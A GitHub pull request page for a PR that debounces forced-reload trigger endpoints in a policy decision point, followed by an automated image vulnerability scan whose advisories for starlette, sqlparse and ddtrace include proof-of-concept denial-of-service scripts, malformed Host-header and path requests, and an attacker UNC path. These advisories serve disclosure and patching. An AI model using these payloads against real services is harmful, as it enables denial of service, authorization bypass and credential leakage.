Skip to content

feat: debounce forced-reload trigger endpoints (PER-15248) - #327

Open
dshoen619 wants to merge 6 commits into
mainfrom
david/per-15248-pdp-rate-limitdebounce-trigger-endpoints-to-dampen-reload
Open

feat: debounce forced-reload trigger endpoints (PER-15248)#327
dshoen619 wants to merge 6 commits into
mainfrom
david/per-15248-pdp-rate-limitdebounce-trigger-endpoints-to-dampen-reload

Conversation

@dshoen619

@dshoen619 dshoen619 commented Jul 14, 2026

Copy link
Copy Markdown
Contributor

What & why

Closes PER-15248.

Even with auth enforced (PER-15244/45/46), a valid-token caller or a buggy SDK can hammer the forced-reload trigger endpoints, each of which forces a full re-pull from the shared control plane — a load-amplification vector across the fleet. This adds a small per-updater debounce so redundant/concurrent forced reloads coalesce instead of amplifying.

There are four amplifying routes, not two (the issue lists two): the OPAL-mounted POST /policy-updater/trigger and POST /data-updater/trigger, plus the PDP's legacy aliases POST /update_policy and POST /update_policy_data, which call the same two updater methods directly. All four are now debounced.

How

  • horizon/debounce.pyDebouncedTrigger: per-updater coalescing on a monotonic clock. Two guards: an in-flight guard that collapses concurrent triggers into the running dispatch regardless of the window, and a window guard for triggers arriving within PDP_TRIGGER_DEBOUNCE_SECONDS of the last one.
  • A coalesced trigger is deferred, never dropped. Both guards arm a background trailing run that fires at window expiry. This is load-neutral under the threat model — a sustained hammer already forces a dispatch at every window boundary, so it converges to one reload per window either way — but it means a legitimate trigger that happens to land inside the window is still served. Dropping it would lose the refresh permanently: the PDP is pubsub-driven, with no periodic full-refresh cadence (DataUpdater.on_connect only re-fetches on websocket reconnect), and PER-15248 explicitly forbids debouncing so aggressively that a needed reload is dropped. The chain terminates — _pending is written only by an inbound trigger, so it stops one run after triggers stop.
  • The trailing run is a task, not part of a request. The dispatching caller returns as soon as its own dispatch is handed off, which is what its 200 already meant. Cancelled on app shutdown via aclose().
  • _last_dispatched records the ATTEMPT, not the outcome — stamped in a finally, so a dispatch that raises still consumes the window. get_policy_data_config raises ClientError on any non-200, so a window consumed only by successes would switch the mitigation off in exactly the degraded-control-plane conditions it exists for. Cancellation is the one exception: the attempt was abandoned rather than made.
  • horizon/pdp.py: the OPAL-mounted handlers are closures we can't intercept, and a FastAPI dependency can't short-circuit to a 200 no-op — so we remove the two OPAL routes and re-register PDP-owned, enforce_pdp_token-gated, debounced replacements at the same paths (fail-loud if a path is missing). The two legacy aliases share the same per-updater debouncers, so an alternating hammer still coalesces.
  • horizon/config.py: PDP_TRIGGER_DEBOUNCE_SECONDS (default 10.0; 0 disables; clamped to 300s; remote-config overridable fleet-wide, so ops can raise it to 30–60s under a degraded control plane without a release). Uninterpretable values fail safe to the default, not to disabled.

Client-visible changes

Worth calling out explicitly for release notes — these are the externally visible parts:

  1. The response body gains a field. All four routes return {"status": "ok", "triggered": <bool>}. status is unchanged and always "ok", so SDKs that only read it are unaffected. triggered is declared in /openapi.json via a TriggerResponse response model.
  2. A failed control-plane fetch on /data-updater/trigger answers 502 (or 504 on timeout) with Retry-After, where it previously escaped as a bare 500 with no body. 500 is the one status every SDK and service mesh retries, so the old failure mode recruited clients into a retry storm against an already-degraded control plane. 503 deliberately keeps its existing, distinct meaning on this route — "the data updater is disabled", a config state where retrying never helps — so a client can tell "back off" from "stop".
  3. A retry inside the window after a failure now returns 200 {"triggered": false} rather than a second 500, because the failed attempt consumed the window. The trailing run retries it at window expiry.

Decisions & scope

  • Descoped /kong (issue lists it as optional): /kong resolves against the local OPA cache (horizon/enforcer/api.py), so hammering it loads only that one PDP — no control-plane amplification, which is the entire threat model here. It also needs a different control (a genuine per-request rate limit), not a debounce that would return stale authz decisions.
  • "Pick N from the OPAL polling cadence" — there is no polling cadence; this PDP is pubsub-driven. Used a fixed, configurable, conservative default instead.
  • The in-flight dispatch is never cancelled. A timeout around run() was considered and rejected: get_base_policy_data tears down every periodic_update_interval poller (opal_client/data/updater.py:268) before the unbounded config GET, and only recreates them at the very end (:296). A timeout landing on the stalled GET — which is exactly where it would land — would leave every periodic data source permanently dead, silently, until an OPAL reconnect. That trades a bounded (aiohttp's 5-minute default), self-healing stall for open-ended silent staleness. The stall is made observable instead: past MAX_DISPATCH_SECONDS every coalesce logs at ERROR, and the triggers absorbed during it are served by the trailing run rather than lost.

Tests

horizon/tests/test_debounce_unit.py (45 tests) drives the state machine directly with a fake clock and a fake sleep, covering both guards, the trailing edge and its chain termination, window fail-safe parsing, failure and cancellation paths, task-handle lifecycle (including a task cancelled before its first step), aclose(), and log-level behaviour. horizon/tests/test_trigger_debounce.py (16 tests) covers the same behaviour end-to-end through the real app, plus the published OpenAPI shape and the 502/503/504 mapping.

Full suite green (183 passed), stable over repeated runs; ruff check + ruff format --check clean.

🤖 Generated with Claude Code

Replace OpalClient's ungated /policy-updater/trigger and /data-updater/trigger
handlers (and route the legacy /update_policy* aliases) through per-updater
DebouncedTrigger instances, so an authenticated caller or buggy SDK can no longer
amplify full-reload load onto the shared control plane. Coalesces triggers within
a configurable window (PDP_TRIGGER_DEBOUNCE_SECONDS, default 10s) and collapses
concurrent triggers into the in-flight pull; a failed pull does not consume the
window. Response/auth parity with the routes it replaces is preserved.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@linear-code

linear-code Bot commented Jul 14, 2026

Copy link
Copy Markdown

PER-15248

@github-actions

github-actions Bot commented Jul 14, 2026

Copy link
Copy Markdown

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next
digestsha256:fb3d58cf272e1caa2c503409a0ceb3388342757744514104479261c4e4c33c42
vulnerabilitiescritical: 0 high: 5 medium: 4 low: 1 unspecified: 1
platformlinux/amd64
size133 MB
packages248
📦 Base Image python:3.13-alpine3.23
also known as
  • 3.13.15-alpine3.23
  • 3595881807616fb0ca649f5a5d1b280cecbb93891e92539c4ccae1282ab84293
digestsha256:0306b86d5dbbf72135e5e0fcd630005f339b0050b2a2aa5a3946567b14fe0efe
vulnerabilitiescritical: 0 high: 5 medium: 2 low: 0
critical: 0 high: 2 medium: 2 low: 1 starlette 0.50.0 (pypi)

pkg:pypi/starlette@0.50.0

high 7.5: CVE--2026--54283 Allocation of Resources Without Limits or Throttling

Affected range>=0.4.1
<1.3.1
Fixed version1.3.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.397%
EPSS Percentile33rd percentile
Description

Summary

request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply.

Details

request.form() dispatches to a different parser depending on the Content-Type. For multipart/form-data the max_files, max_fields, and max_part_size limits are forwarded to the parser, but for application/x-www-form-urlencoded the parser is constructed without them. It has no max_fields or max_part_size parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies.

Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects:

  • Field count drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as f0=v&f1=v&...) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request.
  • Field size drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the FormData, forcing memory allocation proportional to the request body.

The equivalent multipart/form-data request is correctly rejected with 400 Too many fields / 400 Field exceeded maximum size.

Impact

This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call request.form() on application/x-www-form-urlencoded requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop.

Mitigation

Upgrade to a patched version, which forwards max_fields and max_part_size to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match multipart/form-data (max_fields=1000, max_part_size=1MB) and can be customized via request.form(max_fields=..., max_part_size=...).

high 7.5: CVE--2026--48818 Server-Side Request Forgery (SSRF)

Affected range<1.1.0
Fixed version1.1.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.368%
EPSS Percentile30th percentile
Description

Summary

When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.

Details

StaticFiles.lookup_path() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.

This only affects the default configuration (follow_symlink=False), which uses os.path.realpath. The follow_symlink=True branch uses os.path.abspath, which performs no I/O.

Impact

Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.

Mitigation

Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.

medium 6.5: CVE--2026--48710 Improper Validation of Unsafe Equivalence in Input

Affected range<=1.0.0
Fixed version1.0.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score1.839%
EPSS Percentile77th percentile
Description

Summary

In affected versions, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed.

Details

When a client requests http://example.com/foo, it sends:

GET /foo HTTP/1.1
Host: example.com

Affected versions reconstructed the URL by concatenating http://{host}{path} and re-parsing the result. The Host value is only valid as a uri-host [ ":" port ] per RFC 9112 §3.2, where uri-host follows the restricted host grammar of RFC 3986 §3.2.2. When it contains characters outside that grammar - notably /, ?, or # - those characters move the path/query/fragment boundaries during re-parsing, so the parsed request.url.path no longer matches the path the server actually received. For example:

GET /foo HTTP/1.1
Host: example.com/abc?bar=

reconstructs to http://example.com/abc?bar=/foo, whose parsed path is /abc - even though routing used the real path /foo. The router still dispatches to /foo and the endpoint executes, but any middleware or code that reads request.url.path sees /abc, so path-based authorization checks can be bypassed.

Impact

Any application running an affected version that relies on request.url (or request.url.path) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere.

Mitigation

Upgrade to a patched version, which validates the Host header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing request.url and falls back to scope["server"] for malformed values.

medium 5.3: CVE--2026--48817 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Affected range<1.1.0
Fixed version1.1.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.213%
EPSS Percentile12th percentile
Description

Summary

When dispatching a request, HTTPEndpoint selects the handler by lowercasing the HTTP method and looking it up as an attribute with getattr, without restricting the lookup to a known set of HTTP verbs.

When an HTTPEndpoint subclass is registered through Route(...) without an explicit methods= argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler.

Details

HTTPEndpoint uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as _DO_DELETE therefore resolves an attribute like _do_delete and invokes it. Non-standard methods are valid RFC 9110 token methods, so an endpoint must not treat the method name as a trusted attribute selector.

Impact

An application is affected when all of the following hold:

  • It defines an HTTPEndpoint subclass and registers it via Route(...) without an explicit methods= argument.
  • The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single request argument and return a response.

This also affects frameworks built on Starlette, like FastAPI.

Mitigation

Register HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with 405 Method Not Allowed before it reaches the endpoint, so non-standard methods cannot resolve an attribute.

low 3.7: CVE--2026--54282 Improper Input Validation

Affected range<1.3.0
Fixed version1.3.0
CVSS Score3.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.187%
EPSS Percentile9th percentile
Description

Summary

In affected versions, the HTTP request path is not validated before being used to reconstruct request.url. Because request.url is rebuilt by concatenating {scheme}://{host}{path} and re-parsing the result, a path that does not begin with / (for example @<!-- -->google.com) moves the authority boundary during re-parsing, so request.url.hostname and request.url.netloc become attacker-controlled. Code that reads request.url.hostname (rather than the Host header or scope) can therefore be misled into trusting an attacker-supplied host.

Details

When a client requests a path that does not start with /:

GET @<!-- -->google.com HTTP/1.1
Host: localhost

affected versions reconstruct the URL as http://localhost@<!-- -->google.com. Per RFC 3986 §3.2.1, the substring before @ in the authority is userinfo, so re-parsing yields username = "localhost" and hostname = "google.com", with an empty path:

request.url          == "http://localhost@<!-- -->google.com"
request.url.hostname == "google.com"
request.url.path     == ""

The root cause is that the path is concatenated directly after the host without a separating /, and without validating that it begins with one. Only the Host header was validated when constructing request.url; the path was not.

This requires an ASGI server that forwards a request-target lacking a leading / into scope["path"].

Impact

Any application running an affected version that uses request.url, request.url.netloc, or request.url.hostname for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first.

Note that this is less exploitable than GHSA-86qp-5c8j-p5mr: there, the poison is carried in the Host header, so the real path still routes to a valid endpoint while request.url.path lies. Here, the poison must be carried in the path itself, and that path (@<!-- -->google.com) does not match any registered route, so routing returns 404 and no endpoint handler runs. The exposure is limited to code that reads request.url before routing - notably middleware - or in 404/exception handlers.

Mitigation

Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields http://localhost/@<!-- -->google.com with request.url.hostname == "localhost".

critical: 0 high: 2 medium: 1 low: 0 sqlparse 0.5.5 (pypi)

pkg:pypi/sqlparse@0.5.5

high 8.7: CVE--2026--71491 Uncontrolled Resource Consumption

Affected range<=0.5.5
Fixed version0.6.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Description

Summary

A comment-only statement (-- c\n*n) may cause a Denial of Service (DoS).

Details

Location: sqlparse/engine/grouping.py:331-341 (group_comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip_comments=True).

A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but group_comments is O(n²):

def group_comments(tlist):
    tidx, token = tlist.token_next_by(t=T.Comment)
    while token:
        eidx, end = tlist.token_not_matching(
            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)
        ...
        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)

The while loop runs n times and each token_next_by / token_not_matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.

Two following factors increase the severity:

  1. group_comments runs first in group() (grouping.py:439), before the _group_matching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAX_GROUPING_TOKENS does not provide protection on this vector.
  2. It sits on the primary sanitizer path: format(sql, strip_comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.

PoC

Tested using Python 3.14:

import time, sqlparse
for n in (1000, 2000, 4000):
    s = "-- c\n" * n
    t = time.perf_counter()
    sqlparse.format(s, strip_comments=True)
    print(f"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms")

Output:

n= 1000  format(strip_comments)=  106.0 ms
n= 2000  format(strip_comments)=  403.3 ms
n= 4000  format(strip_comments)= 1602.8 ms

Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact

Denial of Service

high 8.7: CVE--2026--54284 Inefficient Regular Expression Complexity

Affected range<=0.5.5
Fixed version0.6.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Description

Summary

sqlparse ships hard limits (MAX_GROUPING_DEPTH=100, MAX_GROUPING_TOKENS=10000) intended to bound parsing work on attacker-supplied SQL, but the path that reaches those limits is itself O(n*depth) per token-group construction. A ~1-2 KB SQL payload (e.g. SELECT (((((1))))) ... with 500-2000 nesting levels, or a 200-400-level nested CASE WHEN chain) drives the parser to spend multiple seconds of CPU before the depth cap raises SQLParseError. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.

The root cause is TokenList.__init__ calling super().__init__(None, str(self)). TokenList.__str__ flattens the entire subtree on every call, and grouping constructs a new TokenList for every parenthesis / CASE / list group, so a tree of depth d with n total tokens performs O(n*d) flatten work just to materialize the cached value field, which is then never read for grouped nodes (they override __str__).

This is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to trigger the caps is itself superlinear in payload size.

Affected components

sqlparse 0.5.5 (latest) and every prior version that ships TokenList.__init__. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (da67ac1, 2025-12-08) added depth + token caps to _group_matching / _group but left the per-node str(self) materialization untouched.

Vulnerable code (file:line)

sqlparse/sql.py#L162 (release 0.5.5) / sqlparse/sql.py#L167 (current master):

class TokenList(Token):
    __slots__ = 'tokens'

    def __init__(self, tokens=None):
        self.tokens = tokens or []
        [setattr(token, 'parent', self) for token in self.tokens]
        super().__init__(None, str(self))   # ← O(subtree) work per group
        self.is_group = True

    def __str__(self):
        return ''.join(token.value for token in self.flatten())

__str__ recurses via flatten() over the entire subtree below self. Every TokenList constructed during grouping (every Parenthesis, Case, IdentifierList, etc.) runs this on its current children, which themselves recursively call flatten(). For grouping that builds a tree of depth d containing n tokens, the construction cost is O(n * d).

The grouping pipeline that triggers it lives at sqlparse/engine/grouping.py#L80 (group_parenthesis) and sqlparse/engine/grouping.py#L84 (group_case). Both call _group_matching which builds nested Parenthesis / Case TokenList instances bottom-up.

Reachable / How input reaches the sink

sqlparse.parse(sql), sqlparse.format(sql, reindent=True), and sqlparse.split(sql) are the documented entry points and all flow into engine/filter_stack.py:runengine/grouping.py:groupgroup_parenthesis / group_case. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested CASE WHEN, nested subqueries, or nested ARRAY[] literals.

Real-world consumers that feed user input directly into these entry points include any SQL formatter web service (the sqlformat.org-style class of tools), Django's format_debug_sql (django/db/backends/base/operations.py) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as sql-metadata (Parser(sql).columns triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).

Proof of concept

Minimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):

import sqlparse, time, signal

def _h(s, f): raise TimeoutError()
signal.signal(signal.SIGALRM, _h)

def measure(label, sql, fn):
    signal.alarm(30)
    t0 = time.perf_counter()
    status = 'OK'
    try:
        fn(sql)
    except sqlparse.exceptions.SQLParseError:
        status = 'CAP'
    except TimeoutError:
        status = 'TIMEOUT'
    finally:
        signal.alarm(0)
    dt = (time.perf_counter() - t0) * 1000
    print(f'  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)')

# Vector 1: deeply nested parentheses
for n in (200, 500, 1000, 2000):
    sql = 'SELECT ' + '(' * n + '1' + ')' * n
    measure(f'nested-paren n={n}', sql, sqlparse.parse)

# Vector 2: deeply nested CASE WHEN
for n in (100, 200, 400):
    case = '1'
    for i in range(n):
        case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'
    measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)

Output on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):

  CAP         80.7ms  nested-paren n=200  (408 B)
  CAP       1342.9ms  nested-paren n=500  (1008 B)
  CAP      11206.9ms  nested-paren n=1000  (2008 B)
  TIMEOUT  >10000ms   nested-paren n=2000  (4008 B)
  CAP         83.1ms  CASE-nested n=100  (3405 B)
  CAP        559.6ms  CASE-nested n=200  (6905 B)
  CAP       5012.2ms  CASE-nested n=400  (13905 B)

cProfile attribution (nested-paren n=500, 1008 B input, 3.1 s total):

ncalls   cumtime  filename:lineno(function)
   501    3.133   sqlparse/sql.py:165(__str__)
   501    3.127   {method 'join' of 'str' objects}
252504    3.110   sqlparse/sql.py:166(<genexpr>)
42168504 3.079   sqlparse/sql.py:207(flatten)

42 million flatten() calls for a 1 KB input. The cap raises at depth 100, but TokenList.__init__ ran str(self) once per group construction and each call walked the partial subtree.

End-to-end reproduction (against running consumer)

victim_app.py (a 50-line Flask formatter, the canonical sqlparse consumer pattern):

from flask import Flask, request, jsonify
import sqlparse, time
app = Flask(__name__)

@<!-- -->app.route('/parse', methods=['POST'])
def parse_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(sql)
        return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)})
    except sqlparse.exceptions.SQLParseError as e:
        return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400

@<!-- -->app.route('/format', methods=['POST'])
def format_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')
    return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5099, threaded=False)

Driver run (Python 3.9, sqlparse 0.5.5, threaded=False so one worker per request):

=== Baseline (benign payloads) ===
  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms
  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms
  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms

=== Malicious payloads (within default caps) ===
  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False
  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False
  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False
  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False
  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False
  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True

A 2 KB payload (nested-paren n=1000) pins one worker for 10 seconds at 100% CPU. With gunicorn -w N deploying the same app, N concurrent malicious requests exhaust every worker and bring the service down. The cap SQLParseError exception is delivered to the caller, but only after the CPU work is already burnt.

Impact

  • Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption).
  • Multi-worker service: attacker sends N parallel requests, exhausts the worker pool.
  • Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU).
  • Downstream library impact: sql-metadata.Parser(sql).columns calls sqlparse.parse internally and inherits the exact same hang (nested-paren n=1000 → 11.3 s).

Suggested fix

Replace the eager str(self) materialization with a single-pass concatenation of children's already-cached value fields. The Token.value invariant value == str(self) at construction is preserved (children's value is itself built the same way bottom-up), but the per-node cost drops from O(subtree) to O(len(self.tokens)):

def __init__(self, tokens=None):
    self.tokens = tokens or []
    [setattr(token, 'parent', self) for token in self.tokens]
    # Avoid materializing the full subtree via str(self): concatenating
    # children's already-cached `value` is O(len(tokens)) per group,
    # whereas str(self) recursively flattens the entire subtree which is
    # O(subtree) per node and turns nested grouping into O(n * depth).
    super().__init__(None, ''.join(token.value for token in self.tokens))
    self.is_group = True

Measured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched 0d24023):

Vector Before fix After fix Speedup
nested-paren n=500 1336 ms 11 ms 121x
nested-paren n=1000 11206 ms 22 ms 509x
nested-paren n=2000 TIMEOUT (>10 s) 45 ms 220x+
CASE-nested n=200 559 ms 25 ms 22x
CASE-nested n=500 TIMEOUT (>10 s) 61 ms 160x+
benign 1 KB SQL 3 ms 3 ms unchanged

End-to-end Flask victim_app re-run against the patched library:

  nested-paren n=1000                        2008B  server=    34.6ms
  nested-paren n=2000                        4008B  server=    67.2ms
  CASE-nested n=400                         13905B  server=    49.5ms
  benign 1 KB SQL                             220B  server=     3.4ms

The IN-tuple format() vector observed at n=1000 (3.8 s for ~10 KB input) is a separate quadratic in the reindent filter (filters/reindent.py:_get_offset_flatten_up_to_token) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.

Fix PR

A fix PR against the temp private fork, mirroring the diff above with a regression test (test_nested_paren_within_cap_under_50ms), is attached and linked from this advisory.

Credit

Reported by tonghuaroot.

medium 6.2: CVE--2026--59894 Improper Control of Generation of Code ('Code Injection')

Affected range<=0.5.5
Fixed version0.6.0
CVSS Score6.2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
Description

Summary

The documented Python and PHP output modes generate source-code snippets from caller-supplied SQL. Their output filters escape quote characters without first escaping existing backslashes. Crafted SQL can therefore neutralize the generated quote escape, terminate the intended language string, and place attacker-controlled code into the generated snippet. If a downstream consumer executes or imports that generated source, the injected code runs in the consumer's environment.

Details

The Python output filter places SQL in a single-quoted string and replaces each single quote with an escaped quote. The PHP output filter performs the equivalent operation for a double-quoted string. Neither transformation escapes pre-existing backslashes before escaping quotes. A backslash supplied immediately before a quote causes the generated backslash to be escaped instead of the quote, allowing the quote to close the string.

The affected modes are exposed through sqlparse.format(..., output_format='python'), sqlparse.format(..., output_format='php'), and the corresponding sqlformat -l options. Formatting produces the injected source but does not itself execute it; code execution occurs when a downstream workflow treats the generated snippet as Python or PHP code.

Relevant code locations:

  • sqlparse/formatter.py:193 — selection of the output-language filters
  • sqlparse/filters/output.py:45 — opening of the generated Python string
  • sqlparse/filters/output.py:65 — incomplete Python quote escaping
  • sqlparse/filters/output.py:91 — opening of the generated PHP string
  • sqlparse/filters/output.py:114 — incomplete PHP quote escaping

PoC

A complete validated reproduction is attached as output_format_snippet_injection-poc.zip. The archive contains reproduction/ at its root, uses Git and Docker, and validates the Python output path by generating and executing a snippet containing a controlled marker-file write.

Extract the archive beside this report, then run:

./reproduction/run.sh

Observed result:

The generated Python snippet placed the attacker-controlled pathlib.Path(...).write_text(...) expression outside the intended SQL string. Executing the snippet wrote the expected proof marker, emitted EVOHUNT_OUTPUT_FORMAT_INJECTION_VERIFIED, and completed successfully.

Verification method:

The verification helper calls sqlparse.format(..., output_format='python'), executes the generated snippet, and fails unless the injected Python expression writes the exact proof marker file.

Limitations:

No reproduction blocker was recorded. The attached harness directly verifies the Python output path; exploitation also requires a downstream consumer to execute or import the generated source.

Impact

This is source-code injection in the opt-in Python and PHP snippet-generation modes. An attacker who controls SQL converted by one of these modes can inject language code into the generated artifact. If that artifact is subsequently executed, the attacker can run code with the permissions and access of the downstream Python or PHP process.

The demonstrated end-to-end result is code execution through a generated Python snippet. Formatting the SQL alone does not execute the payload, and ordinary parsing, splitting, or formatting without these output modes is not shown to be affected.

critical: 0 high: 1 medium: 0 low: 0 ddtrace 3.19.8 (pypi)

pkg:pypi/ddtrace@3.19.8

high 7.5: CVE--2026--50271 Uncontrolled Resource Consumption

Affected range<4.8.2
Fixed version4.8.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.441%
EPSS Percentile37th percentile
Description

Impact

Datadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled.
The baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.

Patches

This is resolved in version 4.8.2 and later of the dd-trace-py library

Workarounds

If users cannot upgrade immediately:

  1. Disable baggage extraction by removing baggage from DD_TRACE_PROPAGATION_STYLE (or DD_TRACE_PROPAGATION_STYLE_EXTRACT if set independently).
  2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache LimitRequestFieldSize, Nginx large_client_header_buffers, Envoy max_request_headers_kb).

Resources

Related upstream advisories:
